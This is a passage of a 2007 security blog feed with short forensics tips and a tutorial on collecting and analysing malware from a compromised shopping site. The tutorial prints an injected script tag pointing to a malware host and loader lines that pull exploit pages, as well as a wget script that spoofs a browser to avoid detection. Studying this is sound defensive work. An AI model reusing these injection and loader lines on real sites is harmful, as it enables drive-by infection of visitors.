src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1560316000488154756?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1560316000488154756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1560316000488154756' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1560316000488154756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1560316000488154756'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/02/determining-usb-keys-in-windows.html' title='Determining USB Keys in Windows'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2236118927647827831</id><published>2007-02-08T03:00:00.000-05:00</published><updated>2008-01-26T20:06:28.837-05:00</updated><title type='text'>Perl Scripting to Decode Encoded or Escaped Pages</title><content type='html'>Basic form&lt;br /&gt;&lt;br /&gt;&gt; cat file.htm | perl -pe 's///ge'&lt;br /&gt;&lt;br /&gt;Now fill in the searches and substitution functions between the slashes.  Final form:&lt;br /&gt;&lt;br /&gt;&gt; echo "test1%202%203%20" | perl -pe 's/\%(..)/chr(hex($1))/ge'&lt;br /&gt;test1 2 3&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2236118927647827831?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2236118927647827831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2236118927647827831' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2236118927647827831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2236118927647827831'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/02/perl-scripting-to-decode-encoded-or.html' title='Perl Scripting to Decode Encoded or Escaped Pages'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1498739328788028905</id><published>2007-02-05T03:00:00.000-05:00</published><updated>2008-01-26T20:10:48.588-05:00</updated><title type='text'>Security Apache/PHP</title><content type='html'>&lt;a href="http://isc.sans.org/diary.html?storyid=2163" mce_href="http://isc.sans.org/diary.html?storyid=2163"&gt;http://isc.sans.org/diary.html?storyid=2163&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1498739328788028905?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1498739328788028905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1498739328788028905' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1498739328788028905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1498739328788028905'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/02/security-apachephp.html' title='Security Apache/PHP'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-5975335675469170577</id><published>2007-02-01T03:00:00.000-05:00</published><updated>2008-01-26T19:48:25.481-05:00</updated><title type='text'>Searching for a File of a Given Date in DOS</title><content type='html'>&lt;p&gt;Important in Windows forensics work.  Care of Mike S.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The date to check is xx/xx/xxxx. The command to do the search would be something along these lines: &lt;/p&gt;&lt;p class="code"&gt;dir c:\*.* /a /t:c /s | find "xx/xx/xxxx" &gt; results.txt&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-5975335675469170577?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/5975335675469170577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=5975335675469170577' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5975335675469170577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5975335675469170577'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/02/searching-for-file-of-given-date-in-dos.html' title='Searching for a File of a Given Date in DOS'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3227273294099119864</id><published>2007-01-31T03:00:00.000-05:00</published><updated>2008-01-26T20:45:29.738-05:00</updated><title type='text'>Cursory Malware Analysis Techniques with Common Tools</title><content type='html'>Review of using BackTrack to do cursory evaluation and tracing of captured malcode.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Get BackTrack &lt;/h2&gt;&lt;p&gt;Get the BackTrack ISO from &lt;a href="http://www.remote-exploit.org/backtrack_download.html" mce_href="http://www.remote-exploit.org/backtrack_download.html" target="_blank" title="BackTrack Download"&gt;http://www.remote-exploit.org/backtrack_download.html&lt;/a&gt;  and burn it to CD.&lt;/p&gt;&lt;h2&gt;Getting Started&lt;/h2&gt;  &lt;p&gt;Boot your machine with Backtrack.  At the command prompt screen, login as root.  Issue commands to setup the network and start X windows.&lt;/p&gt;  &lt;p class="code"&gt;slax ~ # ifconfig eth0 up&lt;br /&gt;slax ~ # dhcpcd -i eth0&lt;/p&gt;&lt;p&gt;Confirm you have a valid IP address.&lt;/p&gt;&lt;p class="code"&gt;slax ~ # ifconfig eth0&lt;br /&gt;eth0      Link encap:Ethernet  HWaddr 00:06:5B:A1:9F:06&lt;br /&gt;        inet addr:&lt;span class="highlight"&gt;192.168.1.151&lt;/span&gt;  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;        inet6 addr: fe80::206:5bff:fea1:9f06/64 Scope:Link&lt;br /&gt;        UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;        RX packets:117652 errors:0 dropped:0 overruns:1 frame:0&lt;br /&gt;        TX packets:12714 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;        collisions:0 txqueuelen:1000&lt;br /&gt;        RX bytes:22401571 (21.3 Mb)  TX bytes:2096818 (1.9 Mb)&lt;br /&gt;        Interrupt:18 Base address:0xc800&lt;/p&gt;  &lt;p&gt;Start graphical mode.&lt;/p&gt;  &lt;p class="code"&gt;slax ~ # startx&lt;/p&gt;&lt;p&gt;The machine will now enter graphical mode.  When done, open a command window by clicking the black computer screen icon at the bottom left of the screen.&lt;/p&gt;&lt;p&gt;Navigate to /mnt.  See what is attached to the machine.&lt;/p&gt;&lt;p class="code"&gt;slax ~ # cd /mnt&lt;br /&gt;slax mnt # ls&lt;br /&gt;floppy/  hda1/  hda5/  hdb1/  hdc_cdrom/  hdd_cdrom/  live/ &lt;/p&gt;&lt;p&gt;Insert your USB stick and mount it.&lt;/p&gt;&lt;p class="code"&gt;slax mnt # ls&lt;br /&gt;floppy/  hda1/  hda5/  hdb1/  hdc_cdrom/  hdd_cdrom/  live/  &lt;span class="highlight"&gt;sda1_removable/&lt;/span&gt;&lt;br /&gt;slax mnt # mkdir sd&lt;br /&gt;slax mnt # mount /dev/sda1 /mnt/sd&lt;br /&gt;slax mnt # ls&lt;br /&gt;floppy/  hda1/  hda5/  hdb1/  hdc_cdrom/  hdd_cdrom/  live/  &lt;span class="highlight"&gt;sd/&lt;/span&gt;  sda1_removable/&lt;/p&gt;&lt;p&gt;Confirm you are mounted to /mnt/sd&lt;/p&gt;&lt;p class="code"&gt;slax mnt # mount&lt;br /&gt;...&lt;br /&gt;&lt;span class="highlight"&gt;/dev/sda1 on /mnt/sd&lt;/span&gt; type vfat (rw)&lt;/p&gt;  &lt;p&gt;Now that you're set up, the next page will continue with collection of the malcode samples.&lt;/p&gt;&lt;p&gt;{mospagebreak}&lt;/p&gt;&lt;h2&gt;Collecting Samples&lt;/h2&gt;&lt;p&gt;Enter the drive.  Create a new folder for your analysis work.&lt;/p&gt;&lt;p class="code"&gt;slax mnt # cd sd&lt;br /&gt;slax sd # mkdir www.malcodedomain.com&lt;br /&gt;slax sd # ls&lt;br /&gt;&lt;span class="highlight"&gt;www.malcodedomain.com/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Enter your new directory.  Copy in the wget retrieval script for use with this analysis.&lt;/p&gt;&lt;p class="code"&gt;slax sd # cd www.malcodedomain.com&lt;br /&gt;slax www.malcodedomain.com # cp ../get_links.sh .&lt;br /&gt;slax www.malcodedomain.com # ls&lt;br /&gt;get_links.sh*&lt;/p&gt;  &lt;p&gt;Here is what the get_links.sh file looks like.&lt;/p&gt;&lt;p class="code"&gt;slax infotechnow.com # cat get_links.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;for i in `cat $1`; do&lt;br /&gt;      # wget to pull down files&lt;br /&gt;      # -t1 retry once&lt;br /&gt;      # -T20 wait 20 seconds, then timeout and move on&lt;br /&gt;      # -x use directory structure.  Prevents overwrites.&lt;br /&gt;      # -U use the common Internet Explorer user agent string for two reasons. 1) Helps elude detection by perpetrator that their code has been compromosed. 2) some malcode compares the user agent and does not attempt exploit on non-compatible clients, defeating code collection.&lt;br /&gt;      # --save-cookies  might want these&lt;br /&gt;      echo $i;&lt;br /&gt;      wget -t 1 -T 20 -x -U "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" --save-cookies=cookies.txt "$i" | tee wget_log.txt;&lt;br /&gt;done;&lt;br /&gt;ls -R &lt;/p&gt;&lt;p&gt;Create a file with a list of the URIs that you will investigate.  Remember to be inventive with how you search, as some minor modifications may yield greater returns than the initial query.  An example would be to pull any possible directory listings to expand target scope.   Another would be to search for number variants for a file, say wxp521.bad.  Look for wxp522.bad and others between 500-550.  Try to pull dynamic pages (asp, php) without their arguments as well.&lt;/p&gt;&lt;p class="code"&gt;slax www.malcodedomain.com # vi links&lt;br /&gt;slax www.malcodedomain.com # cat links&lt;br /&gt;http://www.malcodedomain.com/dir/dir/detected_bad_page.asp?maybe_you_have_args&lt;br /&gt;http://www.malcodedomain.com/dir/dir/detected_bad_page.asp&lt;br /&gt;http://www.malcodedomain.com/dir/dir&lt;br /&gt;http://www.malcodedomain.com/dir/&lt;br /&gt;http://www.malcodedomain.com&lt;br /&gt;http://relatedmaldomain.cc&lt;br /&gt;http://relatedmaldomain.cc/dir/&lt;br /&gt;http://relatedmaldomain.cc/dir/badfile.js&lt;/p&gt;&lt;p&gt;Run the get_links script to do the initial pull.  Files will be saved in the same directory hierarchy they had on the target server.&lt;/p&gt;&lt;p class="code"&gt;slax www.malcodedomain.com # ./get_link.sh links     &lt;br /&gt;slax www.malcodedomain.com # ls&lt;br /&gt;cookies.txt*  get_links.sh*  links*  wget_log.txt*  www.malcodedomain.com/&lt;/p&gt;&lt;p&gt;As you see, the script creates a log for wget errors, records the cookies, and creates the site directory with appropriated result files in it.&lt;/p&gt;&lt;p&gt;On the next page, we'll explore gathering the online records to identify owners and possible contacts for future action.&lt;/p&gt;&lt;p&gt;{mospagebreak}&lt;/p&gt;&lt;h2&gt;Gathering Records&lt;/h2&gt;  &lt;p&gt;To do an investigation, you need to know about the site you are targeting.  WHOIS and DNS are good sources to gather some information.  &lt;/p&gt;&lt;p&gt;Retrieve the DNS records for query resolution and reverse resolution of the target domain.  'example.net' is used as an example.&lt;/p&gt;&lt;p class="code"&gt;slax www.malcodedomain.com # dig example.net | tee DNS_example.net&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.1 &lt;&lt;&gt;&gt; example.net&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 2663 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 5, ADDITIONAL: 5  ;; QUESTION SECTION: ;example.net.               IN      A  ;; ANSWER SECTION: example.net.        60      IN      A       &lt;span class="highlight"&gt;11.22.33.44&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;example.net.        86400   IN      NS      ns4.mydyndns.org.&lt;br /&gt;example.net.        86400   IN      NS      ns5.mydyndns.org.&lt;br /&gt;example.net.        86400   IN      NS      ns1.mydyndns.org.&lt;br /&gt;example.net.        86400   IN      NS      ns2.mydyndns.org.&lt;br /&gt;example.net.        86400   IN      NS      ns3.mydyndns.org.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.mydyndns.org.       79664   IN      A       63.208.196.92&lt;br /&gt;ns2.mydyndns.org.       79314   IN      A       204.13.249.82&lt;br /&gt;ns3.mydyndns.org.       36138   IN      A       204.13.250.82&lt;br /&gt;ns4.mydyndns.org.       80774   IN      A       213.155.150.206&lt;br /&gt;ns5.mydyndns.org.       80774   IN      A       63.208.196.93&lt;br /&gt;&lt;br /&gt;;; Query time: 168 msec&lt;br /&gt;;; SERVER: 192.168.1.4#53(192.168.1.4)&lt;br /&gt;;; WHEN: Wed Jan 31 14:19:09 2007&lt;br /&gt;;; MSG SIZE  rcvd: 231&lt;br /&gt;&lt;br /&gt;slax www.malcodedomain.com # dig -x example.net | tee DNS_example.net_ptr&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.1 &lt;&lt;&gt;&gt; -x example.net&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NXDOMAIN, id: 26216 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0  ;; QUESTION SECTION: ;net.example.in-addr.arpa.  IN      PTR  ;; AUTHORITY SECTION: in-addr.arpa.           10800   IN      SOA     A.ROOT-SERVERS.NET. dns-ops.ARIN.NET. 2007013116 1800 900 691200 10800  ;; Query time: 94 msec ;; SERVER: 192.168.1.4#53(192.168.1.4) ;; WHEN: Wed Jan 31 14:19:29 2007 ;; MSG SIZE  rcvd: 113&lt;/p&gt;  &lt;p&gt;As you can see, 'example.net' is a dynamic hosted site with no return PTR record.  Now do an in-addr.arpa query on the IP to determine the ISP.&lt;/p&gt;&lt;p class="code"&gt;slax www.malcodedomain.com # dig -x 11.22.33.44 | tee DNS_11.22.33.44&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.1 &lt;&lt;&gt;&gt; -x 11.22.33.44&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 36217 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2  ;; QUESTION SECTION: ;44.33.22.11.in-addr.arpa.    IN      PTR  ;; ANSWER SECTION: 44.33.22.11.in-addr.arpa. 86400 IN    PTR     &lt;span class="highlight"&gt;user-xx.cable.mindspring.com.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;254.133.66.in-addr.arpa. 10951  IN      NS      scratchy.earthlink.net.&lt;br /&gt;254.133.66.in-addr.arpa. 10951  IN      NS      itchy.earthlink.net.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;itchy.earthlink.net.    59942   IN      A       207.69.188.196&lt;br /&gt;scratchy.earthlink.net. 74609   IN      A       207.69.188.197&lt;br /&gt;&lt;br /&gt;;; Query time: 79 msec&lt;br /&gt;;; SERVER: 192.168.1.4#53(192.168.1.4)&lt;br /&gt;;; WHEN: Wed Jan 31 14:21:18 2007&lt;br /&gt;;; MSG SIZE  rcvd: 179&lt;/p&gt;&lt;p&gt;Looks like an Earthlink cable customer.  Now pull the WHOIS information for the domain and IP.&lt;/p&gt;&lt;p class="code"&gt;slax www.malcodedomain.com # whois 11.22.33.44 | tee WHOIS_11.22.33.44&lt;br /&gt;EarthLink, Inc. ERLK-CBL-TW-WEST (NET-11-22-33-0-1)&lt;br /&gt;                                11.22.33.0 - 11.22.255.255&lt;br /&gt;EARTHLINK, INC ERLK-TW-HAWAII01 (&lt;span class="highlight"&gt;NET-11-22-33-0-1&lt;/span&gt;)&lt;br /&gt;                                11.22.33.0 - 11.22.255.255&lt;br /&gt;&lt;br /&gt;# ARIN WHOIS database, last updated 2007-01-30 19:10&lt;br /&gt;# Enter ? for additional hints on searching ARIN's WHOIS database.&lt;/p&gt;  &lt;p&gt;Notice the first draw only came up with referring netblock information.  Replace the original query with the netblock to get usable information.&lt;/p&gt;&lt;p class="code"&gt;slax www.malcodedomain.com # whois NET-11-22-33-0-1 | tee WHOIS_11.22.33.44&lt;br /&gt;CustName:   EARTHLINK, INC&lt;br /&gt;Address:    1375 PEACHTREE STREET, LEVEL A&lt;br /&gt;City:       ATLANTA&lt;br /&gt;StateProv:  GA&lt;br /&gt;PostalCode: 30309&lt;br /&gt;Country:    US&lt;br /&gt;RegDate:    2006-11-17&lt;br /&gt;Updated:    2006-11-17&lt;br /&gt;&lt;br /&gt;NetRange:   &lt;span class="highlight"&gt;11.22.33.0 - 11.22.255.255&lt;/span&gt;&lt;br /&gt;CIDR:       11.22.33.0/20&lt;br /&gt;NetName:    ERLK-TW-HAWAII01&lt;br /&gt;NetHandle:  NET-11-22-33-0-1&lt;br /&gt;Parent:     NET-11-22-33-0-1&lt;br /&gt;NetType:    Reassigned&lt;br /&gt;Comment:&lt;br /&gt;RegDate:    2006-11-17&lt;br /&gt;Updated:    2006-11-17&lt;br /&gt;&lt;br /&gt;OrgAbuseHandle: ABUSE60-ARIN&lt;br /&gt;OrgAbuseName:   ABUSE TEAM&lt;br /&gt;OrgAbusePhone:  +1-404-815-0770&lt;br /&gt;OrgAbuseEmail:  abuse@abuse.earthlink.net&lt;br /&gt;&lt;br /&gt;OrgTechHandle: ELNK-ORG-ARIN&lt;br /&gt;OrgTechName:   EarthLink, Inc.&lt;br /&gt;OrgTechPhone:  +1-404-815-0770&lt;br /&gt;OrgTechEmail:  arin_tech@lists.corp.earthlink.net&lt;br /&gt;&lt;br /&gt;# ARIN WHOIS database, last updated 2007-01-30 19:10&lt;br /&gt;# Enter ? for additional hints on searching ARIN's WHOIS database.&lt;br /&gt;&lt;br /&gt;slax www.malcodedomain.com # whois example.net | tee WHOIS_example.net&lt;br /&gt;&lt;br /&gt;Whois Server Version 2.0&lt;br /&gt;&lt;br /&gt;Domain names in the .com and .net domains can now be registered&lt;br /&gt;with many different competing registrars. Go to http://www.internic.net&lt;br /&gt;for detailed information.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Domain Name: EXAMPLE.NET&lt;br /&gt; Registrar: GO DADDY SOFTWARE, INC.&lt;br /&gt; Whois Server: whois.godaddy.com&lt;br /&gt; Referral URL: http://registrar.godaddy.com&lt;br /&gt; Name Server: NS1.MYDYNDNS.ORG&lt;br /&gt; Name Server: NS2.MYDYNDNS.ORG&lt;br /&gt; Status: clientDeleteProhibited&lt;br /&gt; Status: clientRenewProhibited&lt;br /&gt; Status: clientTransferProhibited&lt;br /&gt; Status: clientUpdateProhibited&lt;br /&gt; Updated Date: 15-jul-2006&lt;br /&gt; Creation Date: 30-dec-2003&lt;br /&gt; Expiration Date: 30-dec-2013&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; Last update of whois database: Thu, 01 Feb 2007 00:22:57 UTC &lt;&lt;&lt;  ...   Registrant:    EXAMPLE    xxxxxx St    xxxxxxx, xx nnnnn    United States     Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)    Domain Name: EXAMPLE.NET       Created on: 30-Dec-03       Expires on: 30-Dec-13       Last Updated on: 09-Apr-04     Administrative Contact:       EXAMPLE  xx@xx.xxx       xxxxxx St       xxxxxxx, xx nnnnn       United States       5555555555      Fax --     Technical Contact:       EXAMPLE  xx@xx.xxx       xxxxxx St       xxxxxxx, xx nnnnn       United States       5555555555      Fax --     Domain servers in listed order:       NS1.MYDYNDNS.ORG       NS2.MYDYNDNS.ORG&lt;/p&gt;  &lt;p&gt;The target is confirmed to be a dynamic domain.  The target server is hosted on a cable link through Earthlink.  The data even has contact information, though this may be falsified in the case of a malicious domain.  &lt;/p&gt;&lt;p&gt;Repeat this process for each newly discovered IP and domain.&lt;/p&gt;&lt;p&gt;On the next page, we explore basic methods to analyze collected malware.&lt;/p&gt;&lt;p&gt;{mospagebreak}&lt;/p&gt;  &lt;h2&gt;Analysis&lt;/h2&gt;&lt;p&gt;Now we switch to a live example to demonstrate the rest of the process.  The following was taken during an investigation of infotechnow.com and its hacked referral to a malcode hosting site.&lt;/p&gt;&lt;p class="code"&gt;slax infotechnow.com # cd /mnt/sd/infotechnow.com&lt;br /&gt;&lt;/p&gt;  &lt;p&gt;The original detection was an inserted code redirect at infotechnow.com.  Let's start there.&lt;/p&gt;&lt;p class="code"&gt;slax infotechnow.com # cd www.infotechnow.com&lt;br /&gt;slax www.infotechnow.com # ls&lt;br /&gt;shopping/&lt;br /&gt;slax www.infotechnow.com # cd shopping&lt;br /&gt;slax shopping # ls&lt;br /&gt;default.asp*  index.html*  shopdisplaycategories.asp*&lt;/p&gt;&lt;p&gt;Look at each file and determine the malcode.&lt;/p&gt;&lt;p class="code"&gt;slax shopping # cat shopdisplaycategories.asp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;meta equiv="Content-Language" content="en-us"&gt;&lt;br /&gt;...&lt;/p&gt;&lt;p&gt;The code is pretty long, so here is the pertinent part.  Notice that encoded script in the middle of the formatted HTML code.  Here's the specific code we seek.&lt;/p&gt;&lt;p class="code"&gt;a href="hp://www.infotechnow.com/shopping/shopdisplayproducts.asp?id=3&amp;amp;cat=Floppy%2C+Zip"&gt;Floppy, Zip&lt;br /&gt;&lt;span class="highlight"&gt;a href="http://www.blogger.com/shopping/shopdisplaycategories.asp?id=262&amp;amp;cat=GPS%3Cscript+src%3D%22%20http%3A%2F%2Fijk%2Ecc%2FE%2FJ%2EJS%22%3E%3C%2Fscript%3E".GPS.script src="http://ijk.cc/E/J.JS"../script../a../span..a href="http://www.blogger.com/shopping/shopdisplaycategories.asp?id=193&amp;amp;cat=Hard+Drives".Hard Drives./a. &lt;/p&gt;&lt;p&gt;The user clicks on a link for GPS units, and is redirected to malcode host site 'ijk.cc' to execute file 'j.js'.  Add this to the links list and grab it.&lt;/p&gt;&lt;p&gt;Now navigate to your new captured file and analyze it with 'strings'.&lt;/p&gt;&lt;p class="code"&gt;slax infotechnow.com # cd ijk.cc&lt;br /&gt;slax ijk.cc # cd e&lt;br /&gt;slax e # ls&lt;br /&gt;ff104/  ff154/  ie_onload.js*  index.html*  isci/  &lt;span class="highlight"&gt;j.js&lt;/span&gt;*  j_js_decodes*  ms06044/  vml/&lt;br /&gt;slax e # strings j.js | tee STRINGS_j_js   &lt;/p&gt;  &lt;p&gt;Read through the output and note interesting features in your report.  Collect any referred URIs or scripts, add them to the links list, and collect them.  Examples of a few interesting items in j.js follows:&lt;/p&gt;  &lt;p class="code"&gt;ExecScript("http://" + server_addr + "&lt;span class="highlight"&gt;/E/isci/isci_my.js&lt;/span&gt;");&lt;br /&gt;ExecScript("http://" + server_addr + "&lt;span class="highlight"&gt;/E/ff154/ff154.js&lt;/span&gt;");&lt;br /&gt;ExecScript("http://" + server_addr + "&lt;span class="highlight"&gt;/E/ff104/ff104.js&lt;/span&gt;");&lt;br /&gt;var my_src = 'http://'+server_addr+'&lt;span class="highlight"&gt;/E/ms06044/ww.js&lt;/span&gt;';&lt;br /&gt;ExecIframe('http://'+server_addr+'&lt;span class="highlight"&gt;/E/ms06044/ms06044.htm'&lt;/span&gt;);&lt;br /&gt;ExecIframe('http://'+server_addr+'&lt;span class="highlight"&gt;/E/vml/vml.htm&lt;/span&gt;');&lt;br /&gt;document.write("&lt;script src="%27http://" class="highlight"&gt;&lt;/script&gt;/E/ie_onload.js'&gt;&lt;"+"/script&gt;");&lt;/p&gt;  &lt;p&gt;And so on.  As mentioned, add discovered files to the links list and grab them. &lt;/p&gt;&lt;p&gt;Analysis helps you identify files, directories and other servers to pursue.  You may be drawn to other sites, files and directories.  Be persistent and follow all of the available branches.&lt;/p&gt;&lt;p&gt;Rinse and repeat. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3227273294099119864?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3227273294099119864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3227273294099119864' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3227273294099119864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3227273294099119864'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/01/cursory-malware-analysis-techniques.html' title='Cursory Malware Analysis Techniques with Common Tools'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-5601248513634486042</id><published>2007-01-07T03:00:00.000-05:00</published><updated>2008-01-26T20:59:41.065-05:00</updated><title type='text'>Network Disk Imaging</title><content type='html'>&lt;span style="font-style: italic;"&gt;From &lt;/span&gt;&lt;a style="font-style: italic;" href="http://isc.sans.org/"&gt;SANS Internet Storm Center&lt;/a&gt;&lt;span style="font-style: italic;"&gt;, but I lost the link.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reader Bob Hart submits the following tip, which is&lt;br /&gt;very useful and surprisingly powerful for its size...&lt;br /&gt;&lt;br /&gt;I have used the following on a Suse SLES 9 system to&lt;br /&gt;make five exact copies of my original server.&lt;br /&gt;&lt;br /&gt;  1. On the new server insert the Installation CD and&lt;br /&gt;boot to Rescue mode.&lt;br /&gt;  2. Use root to login at the "Rescue" prompt.&lt;br /&gt;  3. Run the following commands:&lt;br /&gt;&lt;br /&gt;     Ê&lt;br /&gt;     # ifconfig eth0 192.168.1.100 netmask&lt;br /&gt;255.255.255.0 up&lt;br /&gt;     # ping -c 192.168.1.101&lt;br /&gt;     # netcat -l -p 9876 | dd of=/dev/cciss/c0d0&lt;br /&gt;&lt;br /&gt;The ping command simply checks connectivity to&lt;br /&gt;existing server. Then, on the existing server...&lt;br /&gt;&lt;br /&gt;  1. Login as root&lt;br /&gt;  2. Run&lt;br /&gt;&lt;br /&gt;     # dd if=/dev/cciss/c0d0 bs=4M |netcat&lt;br /&gt;192.168.1.100 9876&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-5601248513634486042?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/5601248513634486042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=5601248513634486042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5601248513634486042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5601248513634486042'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2007/01/network-disk-imaging.html' title='Network Disk Imaging'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 